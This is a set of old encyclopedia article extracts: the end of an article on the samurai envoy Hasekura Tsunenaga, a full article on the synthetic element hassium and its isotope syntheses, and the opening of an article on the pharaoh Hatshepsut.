              Cross and medal seized in Hasekura's estate in 1640
            

          


          
            [image: Rosaries found in Hasekura's estate in 1640]

            
              Rosaries found in Hasekura's estate in 1640
            

          


          Hasekura had a son, named Rokuemon Tsuneyori. Two of his son's servants, Yogoemon (与五右衛門) and his wife, were convicted of being Christian but refused to recant their faith under torture (reverse hanging, called " Tsurushi", 釣殺し) and as a result died in August 1637 (as the lives of Christians were spared if they recanted, these executions indicate that they were steadfast and refused to deny their faith). In 1637, Rokuemon Tsuneyori himself also came under suspicion of Christianity after being denounced by someone from Edo, but escaped questioning because he was the master of the Zen temple of Komyoji (光明寺). In 1640, two other servants of Tsuneyori, Tarozaemon (太郎左衛門, 71), who had followed Hasekura to Rome, and his wife (59), were convicted of being Christians, and, also refusing to recant their faith under torture, died. Tsuneyori was held responsible this time and decapitated the same day, at the age of 42, for having failed to denounce Christians under his roof, although it remained unconfirmed whether he was himself Christian or not. Also, two Christian priests, the Dominican Pedro Vazquez and Joan Bautista Paulo, had given his name under torture. Tsuneyori's younger brother, Tsunemichi, was convicted as a Christian, but managed to flee and disappear.


          The privileges of the Hasekura family were abolished at this point by the Sendai fief, and their property and belongings seized. It is at this time, in 1640, that Hasekura's Christian artifacts were confiscated, and they were kept in custody in Sendai until they were rediscovered at the end of the 19th century.


          Altogether, around fifty Christian artifacts were found in Hasekura's estate in 1640, such as crosses, rosaries, religious gowns and religious paintings. The artifacts were seized and stored by the Date fief. An inventory was made again in 1840 describing the items as belonging to Hasekura Tsunenaga. Nineteen books were also mentioned in the inventory, but they have been lost since. The artifacts are today preserved in the Sendai City Museum and other museum in Sendai.


          


          Re-discovery


          The very existence of the travels of Hasekura was forgotten in Japan until the reopening of the country after the Sakoku policy of isolation. In 1873, a Japanese embassy to Europe (the Iwakura mission) headed by Iwakura Tomomi heard for the first time of the travels of Hasekura when shown documents during their visit to Venice in Italy.


          


          Hasekura today


          


          Today, there are statues of Hasekura Tsunenaga in the outskirts of Acapulco in Mexico, at the entrance of Havana Bay in Cuba, in Coria del Ro in Spain, in the Church of Civitavecchia in Italy, and in Tsukinoura, near Ishinomaki.


          Approximately 700 inhabitants of Coria del Ro bear the surname Japn (originally Hasekura de Japn), identifying them as descendants of the members of Hasekura Tsunenaga's delegation.


          A theme park describing the embassy and displaying a replica of the San Juan Bautista was established in the harbour of Ishinomaki, from which Hasekura initially departed on his voyage.


          Now in the Philippines, In the park of statue of Hasekura Tsunenaga located in Manila, the Philippines.


          Shusaku Endo wrote a 1980 novel, titled The Samurai, which relates the travels of Hasekura.


          A 2005 animation film produced in Spain and titled Gisaku relates the adventures of a young Japanese samurai named Yohei who visited Spain in the 17th century, in a story loosely taking its inspiration from the travels of Hasekura. Yohei survived in hiding to the present day due to magical powers ("After centuries of lethargy, he awakes in a World he does not know"), and accomplishes many adventures in modern Europe as a superhero.


          


          Timeline and itinerary


          
            
              	
                
                  	
                    Japan (1613)

                    
                      	April 1613: Date Masamune receives permission from the Tokugawa Shogunate for the expedition and the building of a ship.


                      	28 October 1613: Departure from Tsukinoura Bay.

                    

                  

                


                
                  	
                    Americas (16131614)

                    
                      	November 1613: Sighting of Cape Mendocino


                      	January 1614: Stop in Zacatula


                      	25 January 1614: Arrival in Acapulco, New Spain


                      	24 March 1614: Arrival in Mexico City


                      	Puebla


                      	Veracruz


                      	10 June 1614: Boarding of a Spanish frigate at San Juan de Ula


                      	Havana

                    

                  

                


                
                  	
                    Spain (16141615)

                    
                      	5 October 1614: Arrival at Sanlcar de Barrameda in Spain


                      	Coria del Rio


                      	21 October 1614: Arrival in Seville


                      	Cordoba


                      	Toledo


                      	Getafe


                      	20 December 1614: Arrival in Madrid


                      	30 January 1615: Meeting with King Philip III of Spain


                      	17 February 1615: Baptism of Hasekura Tsunenaga


                      	Alcala de Henares


                      	Daroca


                      	Zaragoza


                      	Fraga


                      	Lerida


                      	Igualada


                      	Barcelona

                    

                  

                


                
                  	
                    France (1615)

                    
                      	September 1615: Saint-Tropez

                    

                  

                


                
                  	
                    Italy (16151616)

                    
                      	Savona


                      	Genoa


                      	18 October 1615: Arrival in Civitavecchia.


                      	29 October 1615: Ceremony commemorating the mission's arrival in Rome.


                      	3 November 1615: Meeting with Pope Paul V.

                    

                  

                

              

              	
                
                  [image: Print depicting Hasekura kneeling before the Pope, German edition]

                  
                    Print depicting Hasekura kneeling before the Pope, German edition
                  

                


                
                  	23 November 1615: Reception of certificates of Honorary Citizenship by Hasekura Tsunenaga and four other Japanese members of the mission.


                  	Napoli


                  	Rome


                  	Firenze


                  	Venice


                  	Firenze


                  	Livorno, by ship to Genoa


                  	Genoa

                


                
                  	
                    Spain (1616)

                    
                      	Barcelona


                      	Igualada


                      	Lerida


                      	Fraga


                      	Zaragoza


                      	Daroca


                      	Alcala de Henares


                      	17 April 1616: Return to Madrid.


                      	Getafe


                      	Toledo


                      	Cordoba


                      	Seville


                      	Coria del Rio


                      	June 1616: Departure from Spain, at Sanlcar de Barrameda.

                    

                  

                


                
                  	
                    Americas (16161618)

                    
                      	Havana


                      	San Juan de Ula


                      	Veracruz


                      	Puebla


                      	Mexico City


                      	Departure from Acapulco, New Spain

                    

                  

                


                
                  	
                    Philippines (16181620)

                    
                      	20 June 1618: Arrival in Manila, Philippines.

                    

                  

                


                
                  	
                    Japan (1620)

                    
                      	22 September 1620: Arrival in Nagasaki, Japan


                      	7 August 1622: Hasekura dies from illness

                    

                  

                

              
            

          


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Hasekura_Tsunenaga"
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              	General
            


            
              	Name, Symbol, Number

              	hassium, Hs, 108
            


            
              	Element category

              	transition metals
            


            
              	Group, Period, Block

              	8, 7, d
            


            
              	Appearance

              	unknown, probably silvery

              white or metallic gray
            


            
              	Standard atomic weight

              	[277] gmol1
            


            
              	Electron configuration

              	[Rn] 5f14 6d6 7s2

            


            
              	Electrons per shell

              	2, 8, 18, 32, 32, 14, 2
            


            
              	Physical properties
            


            
              	Phase

              	presumably a solid
            


            
              	Atomic properties
            


            
              	Crystal structure

              	unknown
            


            
              	Oxidation states

              	8
            


            
              	CAS registry number

              	54037-57-9
            


            
              	Selected isotopes
            


            
              	
                
                  
                    Main article: Isotopes of hassium
                  

                  
                    	iso

                    	NA

                    	half-life

                    	DM

                    	DE ( MeV)

                    	DP
                  


                  
                    	277Hs

                    	syn

                    	16.5 min

                    	SF

                    	

                    	
                  


                  
                    	275Hs

                    	syn

                    	0.15 s

                    	

                    	9.30

                    	271Sg
                  


                  
                    	271Hs

                    	syn

                    	40# s

                    	

                    	9.27,9.13

                    	267Sg
                  


                  
                    	270Hs

                    	syn

                    	3.6# s

                    	

                    	8.83

                    	266Sg
                  


                  
                    	269Hs

                    	syn

                    	9.7 s

                    	

                    	9.21,9.10,8.97

                    	265Sg
                  


                  
                    	267mHs

                    	syn

                    	0.8 s

                    	

                    	9.83

                    	263Sg
                  


                  
                    	267Hs

                    	syn

                    	52 ms

                    	

                    	9.87

                    	263Sg
                  


                  
                    	266Hs

                    	syn

                    	2.3 ms

                    	

                    	10.18

                    	262Sg
                  


                  
                    	265mHs

                    	syn

                    	0.75 ms

                    	

                    	

                    	261Sg
                  


                  
                    	265Hs

                    	syn

                    	2.0 ms

                    	

                    	

                    	261Sg
                  


                  
                    	264Hs

                    	syn

                    	~0.8 ms

                    	.5 

                    	10.43

                    	260Sg
                  


                  
                    	.5 SF

                    	

                    	
                  

                

              
            


            
              	References
            

          


          Hassium (pronounced /ˈhsiəm/ or /ˈhɑːsiəm/) is a synthetic element in the periodic table that has the symbol Hs and atomic number 108.


          Hassium oxidizes similarly to osmium above it, to a hassium tetroxide with a lower volatility than osmium tetroxide.


          


          Official discovery


          Hassium was first synthesized in 1984 by a German research team led by Peter Armbruster and Gottfried Mnzenberg at the Institute for Heavy Ion Research (Gesellschaft fr Schwerionenforschung) in Darmstadt. The team bombarded a lead target with iron-58 nuclei to produce 3 atoms of 265Hs in the reaction


          
            	[image: \, ^{208}_{82}\mathrm{Pb} + \, ^{58}_{26}\mathrm{Fe} \, \to\ \, ^{265}_{108}\mathrm{Hs} + \, ^1_0\mathrm{n}.]

          


          The IUPAC/IUPAP Transfermium Working Group (TWG) recognised the GSI collaboration as official discoverers in their 1992 report.


          


          Naming


          Element 108 has historically been known as eka-osmium. During the period of controversy over the names of the elements (see element naming controversy) IUPAC adopted unniloctium (/ˌjuːnɨˈlɒktiəm/ or /ˌʌnɨˈlɒktiəm/, symbol Uno) as a temporary element name for this element.


          The name hassium was proposed by the officially recognised German discoverers in 1992, derived from the Latin name for the German state of Hesse where the institute is located (L. hassia German Hessen).


          In 1994 a committee of IUPAC recommended that element 108 be named hahnium (Hn).


          The name hassium (Hs) was adopted internationally in 1997.


          


          Electronic structure


          
            [image: ]

            

          


          Hassium has 6 full shells, 7 s+5 p+3 d+2 f=17 full subshells, and 108 orbitals:


          Bohr model: 2, 8, 18, 32, 32, 14, 2


          Quantum mechanical model: 1s22s22p63s23p64s23d10 4p65s24d105p66s24f145d10 6p67s25f146d6


          


          Extrapolated chemical properties of eka-osmium/dvi-ruthenium


          


          Oxidation states


          Element 108 is projected to be the fifth member of the 6d series of transition metals and the heaviest member of group VIII in the Periodic Table, below iron, ruthenium and osmium. The latter two members of the group readily portray their group oxidation state of +VIII and the state becomes more stable as the group is descended. Thus hassium is expected to form a stable +VIII state. Osmium also shows stable +V, +IV and +III states with the +IV state the most stable. For ruthenium, the +VI, +V and +III states are stable with the +III state being the most stable. Hassium is therefore expected to also show other stable lower oxidation states.


          


          Chemistry


          The group VIII elements show a vary distinctive oxide chemistry which allows facile extrapolations to be made for hassium. All the lighter members have known or hypothetical tetroxides, MO4. The oxidising power decreases as one descends the group such that FeO4 is not known due to an extraordinary electron affinity which results in the formation of the well-known oxo-ion ferrate(VI), FeO42. Ruthenium tetroxide, RuO4, formed by oxidation of ruthenium(VI) in acid, readily undergoes reduction to ruthenate(VI), RuO42. Oxidation of ruthenium metal in air forms the dioxide, RuO2. In contrast, osmium burns to form the stable tetroxide, OsO4, which complexes with hydroxide ion to form an osmium(VIII) -ate complex, [OsO4(OH)2]2. Therefore, eka-osmium properties for hassium should be demonstrated by the formation of a volatile tetroxide HsO4, which undergoes complexation with hydroxide to form a hassate(VII), [HsO4(OH)2]2.


          


          Experimental chemistry


          


          Gas phase chemistry


          Hassium is expected to have the electron configuration [Rn]5f14 6d6 7s2 and thus behave as the heavier homolog of osmium (Os). As such, it should form a volatile tetroxide, HsO4, due to the tetrahedral shape of the molecule.


          The first chemistry experiments were performed using gas thermochromatography in 2001, using 172Os as a reference. During the experiment, 5 hassium atoms were detected using the reaction 248Cm(26Mg,5n)269Hs. The resulting atoms were thermalized and oxidized in a He/O2 mixture to form the oxide. The measured deposition temperature indicated that hassium(VIII) oxide is less volatile than osmium tetroxide, OsO4, and places hassium firmly in group 8.


          
            	[image: \,^{269}_{108}\mathrm{Hs} + 2 \,\mathrm{O}_2 \, \to \,^{269}_{108}\mathrm{HsO}_4]

          


          In order to further probe the chemistry of hassium, scientists decided to assess the reaction between hassium tetroxide and sodium hydroxide to form the sodium hassate(VIII), a reaction well-known with osmium. In 2004, scientists announced that they had succeeded in carrying out the first acid-base reaction with a hassium compound.


          
            	[image: \mathrm{HsO}_4 + 2 \,\mathrm{NaOH} \, \to \mathrm{Na}_2[\mathrm{HsO}_4(\mathrm{OH}_2)]]

          


          


          Summary of compounds and complex ions


          
            
              	Formula

              	Names(s)
            


            
              	HsO4

              	hassium tetroxide; hassium(VIII) oxide
            


            
              	Na2[HsO4(OH)2]

              	sodium hassate(VIII); disodium dihydroxytetraoxohassate(VIII)
            

          


          


          History of synthesis of isotopes by cold fusion


          [bookmark: 136Xe.28136Xe.2Cxn.29272.E2.88.92xHs]


          136Xe(136Xe,xn)272xHs


          Important future experiments will involve the attempted synthesis of hassium isotopes in this symmetric reaction using the fission fragments. There are inconfirmed reports that the reaction was carried out at Dubna in 2007 and that no atoms were detected, leading to a cross section limit of 1 pb. If confirmed, this would indicate that such symmetric fusion reactions should be modelled as 'hot fusion' reactions rather than 'cold fusion' ones, as first suggested. This would indicate that such reactions will unfortunately have limited use in the synthesis of superheavy elements.


          [bookmark: 198Pt.2870Zn.2Cxn.29268.E2.88.92xHs]


          198Pt(70Zn,xn)268xHs


          This reaction was performed in May 2002 at the GSI. Unfortunately, the experiment was cut short due to a failure of the zinc-70 beam.


          [bookmark: 208Pb.2858Fe.2Cxn.29266.E2.88.92xHs_.28x.3D1.2C2.29]


          208Pb(58Fe,xn)266xHs (x=1,2)


          This reaction was first reported in 1978 by the team at Dubna. In a later experiment in 1984, using the rotating drum technique, they were able to detect a spontaneous fission activity assigned to 260Sg, daughter of 264Hs. In a repeat experiment in the same year, they applied the method of chemical identification of a descendant to provide support to the synthesis of element 108. They were able to detect several alpha decays of 253Es and 253Fm, descendants of 265108.


          In the official discovery of the element in 1984, the team at GSI studied the reaction using the alpha decay genetic correlation method. They were able to positively identify 3 atoms of 265Hs. After an upgrade of their facilities in 1993, the team repeated the experiment in 1994 and detected 75 atoms of 265Hs and 2 atoms of 264Hs, during the measurement of a partial excitation function for the 1n neutron evaporation channel. The maximum of the 1n channel was measured as 69 pb in a further run in late 1997 in which a further 20 atoms were detected.


          The discovery experiment was successfully repeated in 2002 at RIKEN (10 atoms) and in 2003 at GANIL (7 atoms).


          [bookmark: 207Pb.2858Fe.2Cxn.29265.E2.88.92xHs_.28x.3D1.29]


          207Pb(58Fe,xn)265xHs (x=1)


          The use of a Pb-207 target was first used in 1984 at Dubna. They were able to detect the same SF activity as observed in the Pb-208 run and once again assigned it to 260Sg, daughter of 264Hs. The team at GSI first studied the reaction in 1986 using the method of correlation of genetic alpha decays and identified a single atom of 264Hs with a cross section of 3.2 pb. The reaction was repeated in 1994 and the team were able to measure both alpha decay and spontaneous fission for 264Hs.


          [bookmark: 209Bi.2855Mn.2Cxn.29264.E2.88.92xHs]


          209Bi(55Mn,xn)264xHs


          First attempts to synthesie nuclei of element 108 were performed using this reaction by the team at Dubna in 1983. Using the rotating drum technique, they were able to detect a spontaneous fission activity assigned to 255Rf, descendant of the 263108 decay chain. Identical results were measured in a repeat run in 1984. In a subsequent experiment in 1983, they applied the method of chemical identification of a descendant to provide support to the synthesis of element 108. They were able to detect alpha decays from fermium isotopes, assigned as descendants of the decay of 262108. This reaction has not been tried since and 263Hs and 262Hs are currently inconfirmed.


          


          History of synthesis of isotopes by hot fusion


          [bookmark: 226Ra.2848Ca.2Cxn.29274.E2.88.92xHs]


          226Ra(48Ca,xn)274xHs


          This reaction was reportedly studied in 1978 by the team at the Flerov Laboratory of Nuclear Reactions (FLNR) under the leadership of Yuri Oganessian. However, results are not available in the literature.


          [bookmark: 232Th.2840Ar.2Cxn.29272.E2.88.92xHs]


          232Th(40Ar,xn)272xHs


          This reaction was first studied at Dubna in 1987. Detection was by spontaneous fission and no activities were found leading to a calculated cross section limit of 2 pb.


          [bookmark: 238U.2834S.2Cxn.29272.E2.88.92xHs_.28x.3D5.29]


          238U(34S,xn)272xHs (x=5)


          In March 1994, the team at Dubna led by the late Yuri Lazerev announced the detection of 3 atoms of 267Hs from the 5n neutron evaporation channel. The decay properties was confirmed by the team at GSI in their simultaneous study of element 110.


          [bookmark: 248Cm.2826Mg.2Cxn.29274.E2.88.92xHs_.28x.3D3.2C4.2C5.29]


          248Cm(26Mg,xn)274xHs (x=3,4,5)


          Most recently, a GSI-PSI collaboration has studied the nuclear reaction of curium-248 with magnesium-26 ions. Between May 2001 and August 2005, the team has studied the excitation function of the 3n, 4n, and 5n evaporation channels leading to 269Hs, 270Hs, and 271Hs. The synthesis of the important isotope 270Hs was published in December 2006 by the team of scientists from the Technical University of Munich.. It was reported that this isotope decayed by emission of an alpha-particle with an energy of 8.83 MeV and a projected half-life of ~22 s, assuming a 0+ to 0+ ground state decay to 266Sg using the Viola-Seaborg equation.


          [bookmark: 248Cm.2825Mg.2Cxn.29273.E2.88.92xHs]


          248Cm(25Mg,xn)273xHs


          This new reaction was studied at the GSI in July-August 2006 in a search for the new isotope 268Hs. They were unable to detect any atoms from neutron evaporation and calculated a cross section limit of 1 pb.


          [bookmark: 249Cf.2822Ne.2Cxn.29271.E2.88.92xHs]


          249Cf(22Ne,xn)271xHs


          The team at Dubna studied this reaction in 1983 using detection by spontaneous fission (SF). Several short SF activities were found indicating the formation of nuclei of element 108.


          


          Chemical yields of isotopes


          The tables below provides cross-sections and excitation energies for reactions producing hassium isotopes directly. Data in bold represent maxima derived from excitation function measurements. + represents an observed exit channel.


          


          Cold fusion


          
            
              	Projectile

              	Target

              	CN

              	1n

              	2n

              	3n
            


            
              	58Fe

              	208Pb

              	266Hs

              	69 pb, 13.9 MeV

              	4.5 pb
            


            
              	58Fe

              	207Pb

              	265Hs

              	3.2 pb
            

          


          


          Hot fusion


          
            
              	Projectile

              	Target

              	CN

              	3n

              	4n

              	5n
            


            
              	34S

              	238U

              	272Hs

              	

              	

              	2.5 pb, 50.0 MeV
            


            
              	26Mg

              	248Cm

              	274Hs

              	2.5 pb

              	2.5 pb

              	6.0 pb
            

          


          


          Isomerism in hassium isotopes


          [bookmark: 269Hs]


          269Hs


          The direct synthesis of 269Hs has resulted in three alpha lines at 9.21, 9.10, and 8.94 MeV. In the decay of 277112, only 9.21 MeV 269Hs alpha decays have been observed indicating that this decay occurs from an isomeric level. Further research is required to confirm this.


          [bookmark: 267Hs]


          267Hs


          The decay of 267Hs is known to occur by alpha decay with three alpha lines at 9.88, 9.83, and 9.75 MeV and a half-life of 52 ms. In the recent syntheses of 271m,gDs additional activities have been observed. A .94ms activity decaying by 9.83 MeV alpha emission has been observed in addition to longer lived ~.8 s and ~6.0 s activities. Each of these is currently not assigned and confirmed and further research is required to positively identify them.


          [bookmark: 265Hs]


          265Hs


          The synthesis of 265Hs has also provided evidence for two levels. The ground state decays by 10.30 MeV alpha emission with a halflife of 2.0 ms. The isomeric state is placed at 300 keV above the ground state and decays by 10.57 MeV alpha emission with a halflife of .75 ms.


          


          Chronology of isotope discovery


          
            
              	Isotope

              	Year discovered

              	Discoverer reaction
            


            
              	264Hs

              	1986

              	207Pb(58Fe,n)
            


            
              	265Hs

              	1984

              	208Pb(58Fe,n)
            


            
              	266Hs

              	2000

              	207Pb(64Ni,n)
            


            
              	267Hs

              	1995

              	238U(34S,5n)
            


            
              	268Hs

              	unknown
            


            
              	269Hs

              	1996

              	208Pb(70Zn,n)
            


            
              	270Hs

              	2004

              	248Cm(26Mg,4n)
            


            
              	271Hs

              	2004

              	248Cm(26Mg,3n)
            


            
              	272Hs

              	unknown

              	
            


            
              	273Hs

              	unknown

              	
            


            
              	274Hs

              	unknown

              	
            


            
              	275Hs

              	2003

              	242Pu(48Ca,3n)
            


            
              	276Hs

              	unknown

              	
            


            
              	277Hs

              	1999?

              	244Pu(48Ca,3n)
            

          


          [bookmark: 270Hs:_prospects_for_a_deformed_doubly-magic_nucleus]


          270Hs: prospects for a deformed doubly-magic nucleus


          According to macroscopic-microscopic (MM) theory, Z=108 is a deformed proton magic number. This means that such nuclei are permanently deformed in their ground state but have high, narrow fission barriers to further deformation and hence relatively-long SF partial halflives. The SF halflives in this region are typically reduced by a factor of 109 in comparison with those in the vicinity of the spherical doubly-magic nucleus 298114, caused by an increase in the probability of barrier penetration by quantum tunnelling, due to the narrower fission barrier. In addition, N=162 has been calculated as a deformed neutron magic number and hence the nucleus 270Hs has promise as a deformed doubly-magic nucleus. Experimental data from the decay of Z=110 isotopes 271Ds and 273Ds, provides strong evidence for the magic nature of the N=162 subshell. The recent synthesis of 269Hs, 270Hs, and 271Hs also fully support the assignment of N=162 as a magic closed shell.


          


          Evidence for the Z=108 deformed proton shell


          Evidence for the effect of the Z=108 closed shell in the vicinity of the N=162 shell is limited at this moment in time. This is caused by the low production yields of the isotopes in question and thus poor statistics regarding SF partial halflives resulting from branching of the decay mode. In the case of the isotonic pair 264Hs and 262Sg (N=156 isotones), the lifetimes and decay modes do not support the stabilising effect of Z=108 but this is most likely due to a retreat from the N=162 shell. More conclusive evidence would come from the measurement of SF partial halflives for 266Hs (vs. 264Sg), 268Hs (vs. 266Sg), and especially 270Hs itself (vs 268Sg and 266Rf), although 268Sg and 268Hs are currently unknown and 266Rf has not been produced via alpha decay (which would provide TSF for this N=162 isotone). Analysis of partial SF halflives of nuclei with Z>108 (e.g 272Ds) would also help to confirm the Z=108 closed shell. It should be noted that whilst 270Hs is expected to be a doubly-magic nucleus, it is not expected to have the longest halflife in this region of the periodic table. The reason is that whilst the N=162 shell staves off fission, alpha decay will predominate. As an example, the nucleus 268Sg (Z=106,N=162) is calculated to have a halflife of the order of two hours. However, recent data from the decay of 264Sg (TSF = 70 ms) and 266Sg (TSF = 360 ms) indicate that the influence of the N=162 shell for seaborgium isotopes against fission is some 12 orders of magnitude overestimated, so 268Sg may in fact decay by SF will a short half life of ~5 s. The recently-synthesized nucleus 268Db (TSF = 29 h) has such a long halflife because the presence of both the odd proton and odd neutron hinder SF, relative to neighbouring even-even nuclei.


          


          Unconfirmed isotopes


          [bookmark: 277Hs]


          277Hs


          An isotope assigned to 277Hs has been observed on two occasions decaying by SF with a long halflife of ~12 minutes. The isotope is not observed in the decay of ground state 281Ds but is observed in the decay from an nonconfirmed isomeric level. The halflife is very long for the ground state and it is possible that it belongs to an isomeric level in 277Hs. Further research is required to confirm this result.


          


          Retracted isotopes


          [bookmark: 273Hs]


          273Hs


          The claimed synthesis of element 118 by LBNL in 1999 involved the intermediate 273Hs. This isotope was claimed to decay by 9.78 and 9.47 MeV alpha emission with a half-life of 1.2 s. The claim to discovery of 293118 was retracted and this hassium isotope is currently unknown.


          


          Future experiments


          The team at GSI has plans to further study the synthesis of hassium isotopes by hot fusion. During 20072008, they hope to study the reaction


          
            	[image: \, ^{238}_{92}\mathrm{U} + \, ^{34}_{16}\mathrm{S} \, \to\ \, ^{269,268,267}\mathrm{Hs}]

          


          This will give them experience at producing intense 34S beams before continuing with a measurement of the excitation function for the 3n, 4n, and 5n channels in the reaction using the expensive 36S isotope


          
            	[image: \, ^{238}_{92}\mathrm{U} + \, ^{36}_{16}\mathrm{S} \, \to\ \, ^{271,270,269}\mathrm{Hs}]

          


          In a continuation of studies towards the synthesis of 270Hs, two further reactions are to be studied in 2008 by the TUM and the FLNR.


          The team at the Technische Universitaet Mainz (TUM) are planning to study the electrodeposition of hassium atoms using the new reaction:


          
            	[image: \, ^{244}_{94}\mathrm{Pu} + \, ^{30}_{14}\mathrm{Si} \, \to\ \, ^{271,270}\mathrm{Hs}]

          


          In addition, scientists at the FLNR will reattempt the reaction:


          
            	[image: \, ^{226}_{88}\mathrm{Ra} + \, ^{48}_{20}\mathrm{Ca} \, \to\ \, ^{271,270}\mathrm{Hs}]

          


          The FLNR is currently the only facility which is able to utilise the intensively radioactive Ra-226 target and will help to complete a survey of production methods for the 274Hs compound nucleus, which will provide useful information on the mechanism of hot fusion.


          As part of their continued program on the study of the effect of isospin on the yield of evaporation residues in cold fusion reactions, the team at LBNL are planning to study the following reaction in 2008 with the search for a new isotope 263Hs


          
            	[image: \, ^{208}_{82}\mathrm{Pb} + \, ^{56}_{26}\mathrm{Fe} \, \to\ \, ^{263}_{108}\mathrm{Hs} + \, ^1_0\mathrm{n}]

          


          


          Eka-osmium


          Eka-osmium was a temporary name used to refer to the element that goes under osmium in the periodic table. The name "eka" was used in the same way as in Mendeleev's predicted elements. During the first half of the 20th century, eka-osmium referred to plutonium, because the actinide concept, which postulates the actinides form an inner transition series similar to the lanthanides, had not been proposed yet. Once the actinide concept became widely accepted, eka-osmium started to refer to element 108, now called Hassium, which was discovered in 1984.


          
            Retrieved from " http://en.wikipedia.org/wiki/Hassium"
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            [image: Fragmentary statue of Hatshepsut, quartz diorite, c. 1498-1483 BC - Museum of Fine Arts, Boston]

            
              Fragmentary statue of Hatshepsut, quartz diorite, c. 1498-1483 BC - Museum of Fine Arts, Boston
            

          


          Hatshepsut (or Hatchepsut, IPA: /htˈʃɛpsʊt/), meaning, Foremost of Noble Ladies, was the fifth pharaoh of the eighteenth dynasty of Ancient Egypt. She is generally regarded by Egyptologists as one of the most successful pharaohs, reigning longer than any other woman of an indigenous Egyptian dynasty.


          Although then records of her reign are documented in diverse ancient sources, Hatshepsut was described by early modern scholars as only having served as a co-regent from about 1479 to 1458 BC, during years seven to twenty-one of the reign previously identified as that of Thutmose III. Now it is known widely that Hatshepsut assumed the position of pharaoh and her reign as king is usually given as twenty-two years since Manetho assigns her a reign of 21 years and 9 months. Manetho was a historian who lived during the Ptolemaic era, during the third century B.C., and he had access to many records that are now lost. Her death is known to have occurred in 1458 BC, which implies that she became pharaoh circa 1479 BC.


          Although it was uncommon for Egypt to be ruled by a woman, this situation was not unprecedented. Hatshepsut was the second known to have formally assumed power as "King of Upper and Lower Egypt" after Queen Sobekneferu of the Twelfth Dynasty. As a queen regnant she is preceded by Merneith of the first dynasty; and Nimaethap of the third dynasty, who may have been the dowager of Khasekhemwy, but who certainly acted as interregnum queen for her son, Djoser, during the third dynasty, andNimaethap may have reigned as pharaoh in her own right. Ahhotep I, lauded as a warrior queen, may have been a regent between the reigns of two of her sons, Kamose and Ahmose I, at the end of the seventeenth dynasty and the beginning of Hatshepsut's own eighteenth dynasty. Amenhotep I, also preceding Hatshepsut in the eighteenth dynasty, probably came to power while a young child, and his mother, Ahmose-Nefertari, is thought to have been an interregnum queen for him. Other women whose possible reigns as pharaohs are under study include Nefertiti, Neferneferuaten and Twosret. Among the later, non-indigenous Egyptian dynasties, the most notable example of another woman who became pharaoh was Cleopatra VII, the last pharaoh of Ancient Egypt.


          In comparison with other female pharaohs, Hatshepsut's reign was long and prosperous. She was successful in warfare early in her reign, but is generally considered to be a pharaoh who inaugurated a long peaceful era. She re-established trading relationships lost during a foreign occupation and brought great wealth to Egypt. That wealth enabled Hatshepsut to initiate building projects that raised the calibre of Ancient Egyptian architecture to a standard, comparable to classical architecture, that would not be rivaled by any other culture for a thousand years.


          


          Identification of the Mummy


          Hatshepsut's remains were long considered lost, but in June 2007 a mummy from Tomb KV60, was publicly identified as her remains by Zahi Hawass, the Secretary General of Egypt's Supreme Council of Antiquities. Evidence supporting this identification includes the results of a DNA comparison with the mummy of Ahmose Nefertari, Hatshepsut's great-grandmother and the matriarch of the 18th dynasty. Further conclusive evidence includes the possession of a molar with one root that fit the mummy's jaw as it had a gap that had one root as well. This molar was found inside a small wooden box inscribed with Hatshepsut's name and cartouche; Zahi Hawass's team's CAT scan revealed that this tooth exactly matches this mummy's jaw. Modern CT scans of that mummy believed to be Hatshepsut suggest she was about fifty years old when she died from a ruptured abscess after removal of a tooth. Although this was the cause, it is quite possible she would not have lived much longer; there are signs in her mummy of metastatic bone cancer, as well as possible liver cancer and diabetes. Egyptologists not involved in the project, however, have reserved acceptance of the findings until further testing is undertaken.


          


          Family and early life
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          Hatshepsut was the elder daughter of Thutmose I and Queen Ahmose, the first king and queen of the Thutmoside clan of the eighteenth dynasty. Thutmose I and Ahmose are known to have had only one other child, a daughter, Akhbetneferu (Neferubity), who died as an infant. Thutmose I also married Mutnofret, possibly a daughter of Ahmose I, and produced several half-brothers to Hatshepsut: Wadjmose, Amenose, Thutmose II, and possibly Ramose, through that secondary union. Both Wadjmose and Amenose were prepared to succeed their father, but neither lived beyond adolescence.


          In her childhood, Hatshepsut is believed to have been favored by the Temple of Karnak over her two half-brothers by her father. Hatshepsut apparently had a close relationship with both of her parents. Among the official records of her reign are assertions that her father, Thutmose I, named her as his direct heir and later, official depictions of Hatshepsut show her dressed in the full regalia of a pharaoh, including the traditional false beard of pharaohs to indicate that she ruled Egypt in her own right.


          Upon the death of her father in 1493 BC, Hatshepsut married her half-brother, Thutmose II, and assumed the title of Great Royal Wife. Thutmose II ruled Egypt for either three or thirteen years, during which time it has traditionally been believed that Queen Hatshepsut exerted a strong influence over her husband.


          Royal women also played a pivotal role in the religion of ancient Egypt. Often a queen officiated at the rites in the temples, as priestess, in a culture where religion was inexorably interwoven with the roles of the rulers. In Hatshepsut's time the royal daughter acted in such a role as the God's Wife (Hmt nTr), which is a sacral role usually occupied by royal women during the 18th Dynasty.


          Hatshepsut had one daughter with Thutmose II: Neferure. Some scholars hold that Hatshepsut and Thutmose II groomed Neferure as the heir apparent, commissioning official portraits of their daughter wearing the false beard of royalty and the sidelock of youth. Others speculate that she was being prepared to assume her mother's own roles as queen, but to have Neferure prepared to be a pharaoh, if necessary.


          When Thutmose II died, he left behind only one son, a young Thutmose III to succeed him. The latter was born as the son of Isis, a lesser wife of Thutmose II, rather than of the Great Royal Wife, Hatshepsut, as Neferure was. Due to the relative youth of Thutmose III, he was not eligible to assume the expected tasks of a pharaoh. Instead, Hatshepsut became the interregnum queen of Egypt at this time, assumed the responsibilities of state, and was recognized by the leadership in the temple. At this time, her daughter, Neferure, took over the roles Hatshepsut had played as queen in official and religious ceremonies. This political arrangement is detailed in the tomb autobiography of Ineni, a high official at court:


          
            
              	

              	He ( Thutmose II) went forth to heaven in triumph, having mingled with the gods; His son stood in his place as king of the Two Lands, having become ruler upon the throne of the one who begat him. His (Thutmose II's) sister the Divine Consort, Hatshepsut settled the affairs of the Two Lands by reason of her plans. Egypt was made to labour with bowed head for her, the excellent seed of the god ( Thutmose I), which came forth from him.

              	
            

          


          Thus, while Thutmose III was designated as a co-regent of Egypt, the royal court recognised Hatshepsut as the pharaoh on the throne until she died. It is believed that Neferure became the royal wife of Thutmose III and the mother of his eldest son, Amenemhat, who did not outlive his father.


